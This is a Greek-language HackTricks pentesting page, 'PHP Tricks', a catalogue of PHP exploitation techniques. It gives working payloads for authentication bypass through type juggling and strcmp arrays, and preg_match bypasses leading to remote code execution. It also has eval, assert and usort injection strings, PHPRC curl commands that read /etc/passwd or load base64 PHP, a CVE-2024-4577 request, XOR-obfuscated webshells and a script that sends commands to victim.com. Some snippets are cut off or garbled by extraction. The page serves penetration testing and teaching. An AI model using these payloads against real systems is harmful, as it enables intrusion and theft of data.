# PHP Tricks {{#include ../../../banners/hacktricks-training.md}} ## Κοινή τοποθεσία Cookies: Αυτό ισχύει επίσης για τα cookies του phpMyAdmin. Cookies: ``` PHPSESSID phpMyAdmin ``` Τοποθεσίες: ``` /var/lib/php/sessions /var/lib/php5/ /tmp/ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e ``` ## Παράκαμψη συγκρίσεων PHP ### Χαλαρές συγκρίσεις/Τύποι Juggling ( == ) Αν χρησιμοποιηθεί το `==` στην PHP, τότε υπάρχουν απρόσμενες περιπτώσεις όπου η σύγκριση δεν συμπεριφέρεται όπως αναμένεται. Αυτό συμβαίνει επειδή το "==" συγκρίνει μόνο τιμές που έχουν μετατραπεί στον ίδιο τύπο, αν θέλετε επίσης να συγκρίνετε ότι ο τύπος των συγκρινόμενων δεδομένων είναι ο ίδιος, πρέπει να χρησιμοποιήσετε το `===`. Πίνακες συγκρίσεων PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php) ![](<../../../images/image (567).png>) {{#file}} EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf {{#endfile}} - `"string" == 0 -> True` Μια συμβολοσειρά που δεν ξεκινά με αριθμό είναι ίση με έναν αριθμό - `"0xAAAA" == "43690" -> True` Συμβολοσειρές που αποτελούνται από αριθμούς σε δεκαδική ή εξηρητική μορφή μπορούν να συγκριθούν με άλλους αριθμούς/συμβολοσειρές με αποτέλεσμα True αν οι αριθμοί ήταν οι ίδιοι (οι αριθμοί σε μια συμβολοσειρά ερμηνεύονται ως αριθμοί) - `"0e3264578" == 0 --> True` Μια συμβολοσειρά που ξεκινά με "0e" και ακολουθείται από οτιδήποτε θα είναι ίση με 0 - `"0X3264578" == 0X --> True` Μια συμβολοσειρά που ξεκινά με "0" και ακολουθείται από οποιοδήποτε γράμμα (το X μπορεί να είναι οποιοδήποτε γράμμα) και ακολουθείται από οτιδήποτε θα είναι ίση με 0 - `"0e12334" == "0" --> True` Αυτό είναι πολύ ενδιαφέρον γιατί σε ορισμένες περιπτώσεις μπορείτε να ελέγξετε την είσοδο της συμβολοσειράς "0" και κάποιο περιεχόμενο που έχει κατακερματιστεί και συγκρίνεται με αυτό. Επομένως, αν μπορείτε να παρέχετε μια τιμή που θα δημιουργήσει έναν κατακερματισμό που ξεκινά με "0e" και χωρίς κανένα γράμμα, θα μπορούσατε να παρακάμψετε τη σύγκριση. Μπορείτε να βρείτε **ήδη κατακερματισμένες συμβολοσειρές** με αυτό το φορμά εδώ: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) - `"X" == 0 --> True` Οποιοδήποτε γράμμα σε μια συμβολοσειρά είναι ίσο με int 0 Περισσότερες πληροφορίες στο [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09) ### **in_array()** **Τύποι Juggling** επηρεάζουν επίσης τη λειτουργία `in_array()` από προεπιλογή (πρέπει να ορίσετε σε true το τρίτο επιχείρημα για να κάνετε μια αυστηρή σύγκριση): ```php $values = array("apple","orange","pear","grape"); var_dump(in_array(0, $values)); //True var_dump(in_array(0, $values, true)); //False ``` ### strcmp()/strcasecmp() Αν αυτή η συνάρτηση χρησιμοποιείται για **οποιονδήποτε έλεγχο αυθεντικοποίησης** (όπως ο έλεγχος του κωδικού πρόσβασης) και ο χρήστης ελέγχει τη μία πλευρά της σύγκρισης, μπορεί να στείλει έναν κενό πίνακα αντί για μια συμβολοσειρά ως την τιμή του κωδικού πρόσβασης (`https://example.com/login.php/?username=admin&password[]=`) και να παρακάμψει αυτόν τον έλεγχο: ```php if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; } // Real Password if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; } // Real Password ``` Η ίδια σφάλμα συμβαίνει με το `strcasecmp()` ### Αυστηρός τύπος Juggling Ακόμα και αν το `===` **χρησιμοποιείται** μπορεί να υπάρχουν σφάλματα που καθιστούν τη **σύγκριση ευάλωτη** σε **τύπο juggling**. Για παράδειγμα, αν η σύγκριση **μετατρέπει τα δεδομένα σε διαφορετικό τύπο αντικειμένου πριν από τη σύγκριση**: ```php (int) "1abc" === (int) "1xyz" //This will be true ``` ### preg_match(/^.\*/) **`preg_match()`** μπορεί να χρησιμοποιηθεί για να **επικυρώσει την είσοδο του χρήστη** (ελέγχει αν οποιαδήποτε **λέξη/regex** από μια **μαύρη λίστα** είναι **παρούσα** στην **είσοδο του χρήστη** και αν δεν είναι, ο κώδικας μπορεί να συνεχίσει την εκτέλεσή του). #### New line bypass Ωστόσο, όταν καθορίζεται η αρχή της regexp `preg_match()` **ελέγχει μόνο την πρώτη γραμμή της εισόδου του χρήστη**, τότε αν με κάποιο τρόπο μπορείτε να **στείλετε** την είσοδο σε **πολλές γραμμές**, θα μπορούσατε να παρακάμψετε αυτόν τον έλεγχο. Παράδειγμα: ```php $myinput="aaaaaaa 11111111"; //Notice the new line echo preg_match("/1/",$myinput); //1 --> In this scenario preg_match find the char "1" echo preg_match("/1.*$/",$myinput); //1 --> In this scenario preg_match find the char "1" echo preg_match("/^.*1/",$myinput); //0 --> In this scenario preg_match DOESN'T find the char "1" echo preg_match("/^.*1.*$/",$myinput); //0 --> In this scenario preg_match DOESN'T find the char "1" ``` Για να παρακάμψετε αυτόν τον έλεγχο, μπορείτε να **στείλετε την τιμή με νέες γραμμές urlencoded** (`%0A`) ή αν μπορείτε να στείλετε **δεδομένα JSON**, στείλτε τα σε **πολλές γραμμές**: ```php { "cmd": "cat /etc/passwd" } ``` Βρείτε ένα παράδειγμα εδώ: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice) #### **Παράκαμψη σφάλματος μήκους** (Αυτή η παράκαμψη δοκιμάστηκε προφανώς σε PHP 5.2.5 και δεν μπόρεσα να την κάνω να λειτουργήσει σε PHP 7.3.15)\ Αν μπορείτε να στείλετε στο `preg_match()` μια έγκυρη πολύ **μεγάλη είσοδο**, **δεν θα μπορεί να την επεξεργαστεί** και θα μπορείτε να **παρακάμψετε** τον έλεγχο. Για παράδειγμα, αν αποκλείει ένα JSON, θα μπορούσατε να στείλετε: ```bash payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}' ``` From: [https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0](https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0) #### ReDoS Bypass Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) and [https://mizu.re/post/pong](https://mizu.re/post/pong)
Συνοπτικά, το πρόβλημα συμβαίνει επειδή οι `preg_*` συναρτήσεις στην PHP βασίζονται στη [βιβλιοθήκη PCRE](http://www.pcre.org/). Στην PCRE, ορισμένες κανονικές εκφράσεις ταιριάζουν χρησιμοποιώντας πολλές αναδρομικές κλήσεις, οι οποίες καταναλώνουν πολύ χώρο στο στοίβα. Είναι δυνατόν να οριστεί ένα όριο στον αριθμό των επιτρεπόμενων αναδρομών, αλλά στην PHP αυτό το όριο [προεπιλέγεται σε 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), το οποίο είναι περισσότερο από ό,τι χωράει στο στοίβα. [Αυτή η συζήτηση στο Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) συνδέθηκε επίσης στην ανάρτηση όπου συζητείται πιο αναλυτικά αυτό το ζήτημα. Η αποστολή μας ήταν τώρα σαφής:\ **Στείλτε μια είσοδο που θα κάνει την κανονική έκφραση να εκτελέσει 100_000+ αναδρομές, προκαλώντας SIGSEGV, κάνοντάς την `preg_match()` να επιστρέψει `false`, κάνοντάς την εφαρμογή να νομίζει ότι η είσοδός μας δεν είναι κακόβουλη, ρίχνοντας την έκπληξη στο τέλος του payload κάτι σαν `{system()}` για να αποκτήσουμε SSTI --> RCE --> flag :)**. Λοιπόν, σε όρους regex, στην πραγματικότητα δεν κάνουμε 100k "αναδρομές", αλλά μετράμε "βήματα οπισθοχώρησης", τα οποία όπως δηλώνει η [τεκμηρίωση PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) προεπιλέγεται σε 1_000_000 (1M) στη μεταβλητή `pcre.backtrack_limit`.\ Για να φτάσουμε σε αυτό, `'X'*500_001` θα έχει ως αποτέλεσμα 1 εκατομμύριο βήματα οπισθοχώρησης (500k προς τα εμπρός και 500k προς τα πίσω): ```python payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}" ``` ### Type Juggling για την απόκρυψη PHP ```php $obfs = "1"; //string "1" $obfs++; //int 2 $obfs += 0.2; //float 2.2 $obfs = 1 + "7 IGNORE"; //int 8 $obfs = "string" + array("1.1 striiing")[0]; //float 1.1 $obfs = 3+2 * (TRUE + TRUE); //int 7 $obfs .= ""; //string "7" $obfs += ""; //int 7 ``` ## Execute After Redirect (EAR) Αν το PHP ανακατευθύνει σε άλλη σελίδα αλλά καμία **`die`** ή **`exit`** συνάρτηση δεν είναι **καλεσμένη μετά την κεφαλίδα `Location`**, το PHP συνεχίζει να εκτελεί και να προσθέτει τα δεδομένα στο σώμα: ```php ``` ## Path Traversal and File Inclusion Exploitation Check: {{#ref}} ../../../pentesting-web/file-inclusion/ {{#endref}} ## More tricks - **register_globals**: Στο **PHP < 4.1.1.1** ή αν είναι κακορυθμισμένο, το **register_globals** μπορεί να είναι ενεργό (ή η συμπεριφορά του να μιμείται). Αυτό σημαίνει ότι σε παγκόσμιες μεταβλητές όπως το $\_GET αν έχουν μια τιμή π.χ. $\_GET\["param"]="1234", μπορείτε να την αποκτήσετε μέσω του **$param. Επομένως, στέλνοντας HTTP παραμέτρους μπορείτε να αντικαταστήσετε μεταβλητές** που χρησιμοποιούνται μέσα στον κώδικα. - Τα **PHPSESSION cookies του ίδιου τομέα αποθηκεύονται στην ίδια θέση**, επομένως αν μέσα σε έναν τομέα **χρησιμοποιούνται διαφορετικά cookies σε διαφορετικά paths** μπορείτε να κάνετε ένα path **να αποκτά πρόσβαση στο cookie του άλλου path** ρυθμίζοντας την τιμή του cookie του άλλου path.\ Με αυτόν τον τρόπο αν **και τα δύο paths αποκτούν πρόσβαση σε μια μεταβλητή με το ίδιο όνομα** μπορείτε να κάνετε την **τιμή αυτής της μεταβλητής στο path1 να ισχύει για το path2**. Και τότε το path2 θα θεωρεί έγκυρες τις μεταβλητές του path1 (δίνοντας στο cookie το όνομα που αντιστοιχεί σε αυτό στο path2). - Όταν έχετε τα **usernames** των χρηστών της μηχανής. Ελέγξτε τη διεύθυνση: **/\~\** για να δείτε αν οι php φάκελοι είναι ενεργοποιημένοι. - Αν μια ρύθμιση php έχει **`register_argc_argv = On`** τότε οι παράμετροι ερωτήματος που χωρίζονται με κενά χρησιμοποιούνται για να γεμίσουν τον πίνακα των επιχειρημάτων **`array_keys($_SERVER['argv'])`** όπως αν ήταν **επιχειρήματα από το CLI**. Αυτό είναι ενδιαφέρον γιατί αν αυτή η **ρύθμιση είναι απενεργοποιημένη**, η τιμή του **args array θα είναι `Null`** όταν καλείται από το web καθώς ο πίνακας ars δεν θα γεμίσει. Επομένως, αν μια ιστοσελίδα προσπαθήσει να ελέγξει αν εκτελείται ως web ή ως εργαλείο CLI με μια σύγκριση όπως `if (empty($_SERVER['argv'])) {` ένας επιτιθέμενος θα μπορούσε να στείλει **παραμέτρους στο GET αίτημα όπως `?--configPath=/lalala`** και θα νομίζει ότι εκτελείται ως CLI και πιθανώς να αναλύσει και να χρησιμοποιήσει αυτές τις παραμέτρους. Περισσότερες πληροφορίες στο [original writeup](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms). - [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/index.html) ### password_hash/password_verify Αυτές οι συναρτήσεις χρησιμοποιούνται συνήθως στο PHP για να **δημιουργούν hashes από κωδικούς πρόσβασης** και για να **ελέγχουν** αν ένας κωδικός πρόσβασης είναι σωστός σε σύγκριση με ένα hash.\ Οι υποστηριζόμενοι αλγόριθμοι είναι: `PASSWORD_DEFAULT` και `PASSWORD_BCRYPT` (ξεκινά με `$2y$`). Σημειώστε ότι **PASSWORD_DEFAULT είναι συχνά το ίδιο με PASSWORD_BCRYPT.** Και αυτή τη στιγμή, **PASSWORD_BCRYPT** έχει **περιορισμό μεγέθους στην είσοδο των 72bytes**. Επομένως, όταν προσπαθείτε να κάνετε hash κάτι μεγαλύτερο από 72bytes με αυτόν τον αλγόριθμο, μόνο τα πρώτα 72B θα χρησιμοποιηθούν: ```php $cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW False $cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW True ``` ### HTTP headers bypass abusing PHP errors #### Causing error after setting headers From [**this twitter thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) μπορείτε να δείτε ότι η αποστολή περισσότερων από 1000 GET παραμέτρων ή 1000 POST παραμέτρων ή 20 αρχείων, το PHOP δεν θα ρυθμίσει τις κεφαλίδες στην απόκριση. Επιτρέποντας να παρακαμφθούν για παράδειγμα οι κεφαλίδες CSP που ρυθμίζονται σε κώδικες όπως: ```php ) ## SSRF σε συναρτήσεις PHP Ελέγξτε τη σελίδα: {{#ref}} php-ssrf.md {{#endref}} ## Εκτέλεση κώδικα **system("ls");**\ **\`ls\`;**\ **shell_exec("ls");** [Ελέγξτε αυτό για περισσότερες χρήσιμες συναρτήσεις PHP](php-useful-functions-disable_functions-open_basedir-bypass/index.html) ### **RCE μέσω** **preg_replace()** ```php preg_replace(pattern,replace,base) preg_replace("/a/e","phpinfo()","whatever") ``` Για να εκτελέσετε τον κώδικα στο επιχείρημα "replace" απαιτείται τουλάχιστον μία αντιστοίχιση.\ Αυτή η επιλογή του preg_replace έχει **καταργηθεί από την PHP 5.5.0.** ### **RCE μέσω Eval()** ``` '.system('uname -a'); $dummy=' '.system('uname -a');# '.system('uname -a');// '.phpinfo().' ``` ### **RCE μέσω Assert()** Αυτή η συνάρτηση μέσα στο php σας επιτρέπει να **εκτελείτε κώδικα που είναι γραμμένος σε μια συμβολοσειρά** προκειμένου να **επιστρέφετε true ή false** (και ανάλογα με αυτό να αλλάξετε την εκτέλεση). Συνήθως η μεταβλητή χρήστη θα εισαχθεί στη μέση μιας συμβολοσειράς. Για παράδειγμα:\ `assert("strpos($_GET['page']),'..') === false")` --> Σε αυτή την περίπτωση για να αποκτήσετε **RCE** θα μπορούσατε να κάνετε: ``` ?page=a','NeVeR') === false and system('ls') and strpos('a ``` Θα χρειαστεί να **σπάσετε** τη **σύνταξη** του κώδικα, **να προσθέσετε** το **payload** σας και στη συνέχεια **να το διορθώσετε ξανά**. Μπορείτε να χρησιμοποιήσετε **λογικές λειτουργίες** όπως "**and" ή "%26%26" ή "|"**. Σημειώστε ότι "or", "||" δεν λειτουργεί γιατί αν η πρώτη συνθήκη είναι αληθής, το payload μας δεν θα εκτελεστεί. Με τον ίδιο τρόπο, το ";" δεν λειτουργεί καθώς το payload μας δεν θα εκτελεστεί. **Άλλη επιλογή** είναι να προσθέσετε στη συμβολοσειρά την εκτέλεση της εντολής: `'.highlight_file('.passwd').'` **Άλλη επιλογή** (αν έχετε τον εσωτερικό κώδικα) είναι να τροποποιήσετε κάποια μεταβλητή για να αλλάξετε την εκτέλεση: `$file = "hola"` ### **RCE μέσω usort()** Αυτή η συνάρτηση χρησιμοποιείται για να ταξινομήσει έναν πίνακα στοιχείων χρησιμοποιώντας μια συγκεκριμένη συνάρτηση.\ Για να εκμεταλλευτείτε αυτή τη συνάρτηση: ```php VALUE: );phpinfo();# ``` ```php VALUE: );}[PHP CODE];# ``` Μπορείτε επίσης να χρησιμοποιήσετε **//** για να σχολιάσετε το υπόλοιπο του κώδικα. Για να ανακαλύψετε τον αριθμό των παρενθέσεων που πρέπει να κλείσετε: - `?order=id;}//`: λαμβάνουμε ένα μήνυμα σφάλματος (`Parse error: syntax error, unexpected ';'`). Πιθανώς μας λείπει μία ή περισσότερες αγκύλες. - `?order=id);}//`: λαμβάνουμε μια **προειδοποίηση**. Αυτό φαίνεται σωστό. - `?order=id));}//`: λαμβάνουμε ένα μήνυμα σφάλματος (`Parse error: syntax error, unexpected ')' i`). Πιθανώς έχουμε πάρα πολλές κλειστές αγκύλες. ### **RCE μέσω .httaccess** Αν μπορείτε να **ανεβάσετε** ένα **.htaccess**, τότε μπορείτε να **ρυθμίσετε** διάφορα πράγματα και ακόμη και να εκτελέσετε κώδικα (ρυθμίζοντας ότι τα αρχεία με επέκταση .htaccess μπορούν να **εκτελούνται**). Διαφορετικά .htaccess shells μπορούν να βρεθούν [εδώ](https://github.com/wireghoul/htshells) ### RCE μέσω Env Variables Αν βρείτε μια ευπάθεια που σας επιτρέπει να **τροποποιήσετε τις env variables στο PHP** (και μια άλλη για να ανεβάσετε αρχεία, αν και με περισσότερη έρευνα ίσως αυτό μπορεί να παρακαμφθεί), θα μπορούσατε να εκμεταλλευτείτε αυτή τη συμπεριφορά για να αποκτήσετε **RCE**. - [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Αυτή η env variable σας επιτρέπει να φορτώνετε αυθαίρετες βιβλιοθήκες κατά την εκτέλεση άλλων δυαδικών αρχείων (αν και σε αυτή την περίπτωση μπορεί να μην λειτουργήσει). - **`PHPRC`** : Δίνει οδηγίες στο PHP για **πού να εντοπίσει το αρχείο ρύθμισης** του, που συνήθως ονομάζεται `php.ini`. Αν μπορείτε να ανεβάσετε το δικό σας αρχείο ρύθμισης, τότε, χρησιμοποιήστε το `PHPRC` για να δείξετε στο PHP σε αυτό. Προσθέστε μια είσοδο **`auto_prepend_file`** που να καθορίζει ένα δεύτερο ανεβασμένο αρχείο. Αυτό το δεύτερο αρχείο περιέχει κανονικό **PHP κώδικα, ο οποίος εκτελείται** από το PHP runtime πριν από οποιονδήποτε άλλο κώδικα. 1. Ανεβάστε ένα αρχείο PHP που περιέχει τον κώδικα shell μας 2. Ανεβάστε ένα δεύτερο αρχείο, που περιέχει μια οδηγία **`auto_prepend_file`** που δίνει εντολή στον προεπεξεργαστή PHP να εκτελέσει το αρχείο που ανεβάσαμε στο βήμα 1 3. Ρυθμίστε τη μεταβλητή `PHPRC` στο αρχείο που ανεβάσαμε στο βήμα 2. - Αποκτήστε περισσότερες πληροφορίες σχετικά με το πώς να εκτελέσετε αυτή την αλυσίδα [**από την αρχική αναφορά**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/). - **PHPRC** - άλλη επιλογή - Αν **δεν μπορείτε να ανεβάσετε αρχεία**, μπορείτε να χρησιμοποιήσετε στο FreeBSD το "αρχείο" `/dev/fd/0` που περιέχει το **`stdin`**, που είναι το **σώμα** του αιτήματος που αποστέλλεται στο `stdin`: - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'` - Ή για να αποκτήσετε RCE, ενεργοποιήστε το **`allow_url_include`** και προσθέστε ένα αρχείο με **base64 PHP κώδικα**: - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'` - Τεχνική [**από αυτή την αναφορά**](https://vulncheck.com/blog/juniper-cve-2023-36845). ### XAMPP CGI RCE - CVE-2024-4577 Ο webserver αναλύει τα HTTP αιτήματα και τα περνά σε ένα PHP script εκτελώντας ένα αίτημα όπως [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com) ως `php.exe cgi.php foo=bar`, το οποίο επιτρέπει την έγχυση παραμέτρων. Αυτό θα επέτρεπε την έγχυση των παρακάτω παραμέτρων για να φορτώσει τον PHP κώδικα από το σώμα: ```jsx -d allow_url_include=1 -d auto_prepend_file=php://input ``` Επιπλέον, είναι δυνατόν να εισαχθεί η παράμετρος "-" χρησιμοποιώντας τον χαρακτήρα 0xAD λόγω της μεταγενέστερης κανονικοποίησης του PHP. Ελέγξτε το παράδειγμα εκμετάλλευσης από [**αυτή την ανάρτηση**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/): ```jsx POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1 Host: {{host}} User-Agent: curl/8.3.0 Accept: */* Content-Length: 23 Content-Type: application/x-www-form-urlencoded Connection: keep-alive ``` ## PHP Sanitization bypass & Brain Fuck [**Σε αυτή την ανάρτηση**](https://blog.redteam-pentesting.de/2024/moodle-rce/) είναι δυνατόν να βρείτε εξαιρετικές ιδέες για να δημιουργήσετε έναν κώδικα brain fuck PHP με πολύ λίγους επιτρεπόμενους χαρακτήρες.\ Επιπλέον, προτείνεται επίσης ένας ενδιαφέρον τρόπος για να εκτελούνται συναρτήσεις που τους επέτρεψαν να παρακάμψουν αρκετούς ελέγχους: ```php (1)->{system($_GET[chr(97)])} ``` ## PHP Στατική ανάλυση Κοίτα αν μπορείς να εισάγεις κώδικα σε κλήσεις αυτών των συναρτήσεων (από [εδώ](https://www.youtube.com/watch?v=SyWUsN0yHKI&feature=youtu.be)): ```php exec, shell_exec, system, passthru, eval, popen unserialize, include, file_put_cotents $_COOKIE | if #This mea ``` Αν κάνετε αποσφαλμάτωση μιας εφαρμογής PHP, μπορείτε να ενεργοποιήσετε παγκοσμίως την εκτύπωση σφαλμάτων στο `/etc/php5/apache2/php.ini` προσθέτοντας `display_errors = On` και να επανεκκινήσετε τον apache: `sudo systemctl restart apache2` ### Αποσυμπίεση κώδικα PHP Μπορείτε να χρησιμοποιήσετε το **web**[ **www.unphp.net**](http://www.unphp.net) **για να αποσυμπιέσετε κώδικα php.** ## PHP Wrappers & Πρωτόκολλα Οι PHP Wrappers και τα πρωτόκολλα θα μπορούσαν να σας επιτρέψουν να **παρακάμψετε τις προστασίες εγγραφής και ανάγνωσης** σε ένα σύστημα και να το συμβιβάσετε. Για [**περισσότερες πληροφορίες ελέγξτε αυτή τη σελίδα**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols). ## Xdebug μη εξουσιοδοτημένο RCE Αν δείτε ότι το **Xdebug** είναι **ενεργοποιημένο** σε μια έξοδο `phpconfig()`, θα πρέπει να προσπαθήσετε να αποκτήσετε RCE μέσω [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit) ## Μεταβλητές μεταβλητών ```php $x = 'Da'; $$x = 'Drums'; echo $x; //Da echo $$x; //Drums echo $Da; //Drums echo "${Da}"; //Drums echo "$x ${$x}"; //Da Drums echo "$x ${Da}"; //Da Drums ``` ## RCE εκμετάλλευση νέου $\_GET\["a"]\($\_GET\["b") Αν σε μια σελίδα μπορείς να **δημιουργήσεις ένα νέο αντικείμενο μιας αυθαίρετης κλάσης**, μπορεί να μπορέσεις να αποκτήσεις RCE, έλεγξε την παρακάτω σελίδα για να μάθεις πώς: {{#ref}} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md {{#endref}} ## Εκτέλεση PHP χωρίς γράμματα [https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/) ### Χρησιμοποιώντας οκταδικά ```php $_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd); ``` ### **XOR** ```php $_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source $__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd $___=$__; #Could be not needed inside eval $_($___); #If ¢___ not needed then $_($__), show_source(.passwd) ``` ### XOR easy shell code Σύμφωνα με [**αυτή την αναφορά**](https://mgp25.com/ctf/Web-challenge/) είναι δυνατόν να παραχθεί ένα εύκολο shellcode με αυτόν τον τρόπο: ```php $_="`{{{"^"?<>/"; // $_ = '_GET'; ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]); $_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]); ``` Έτσι, αν μπορείτε να **εκτελέσετε αυθαίρετο PHP χωρίς αριθμούς και γράμματα** μπορείτε να στείλετε ένα αίτημα όπως το παρακάτω εκμεταλλευόμενοι αυτό το payload για να εκτελέσετε αυθαίρετο PHP: ``` POST: /action.php?_=system&__=cat+flag.php Content-Type: application/x-www-form-urlencoded comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); ``` Για μια πιο λεπτομερή εξήγηση, ελέγξτε [https://ctf-wiki.org/web/php/php/#preg_match](https://ctf-wiki.org/web/php/php/#preg_match) ### XOR Shellcode (inside eval) ```bash #!/bin/bash if [[ -z $1 ]]; then echo "USAGE: $0 CMD" exit fi CMD=$1 CODE="\$_='\ ``` ```php lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_=' ``` ```php lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE" ``` ### Perl like ```php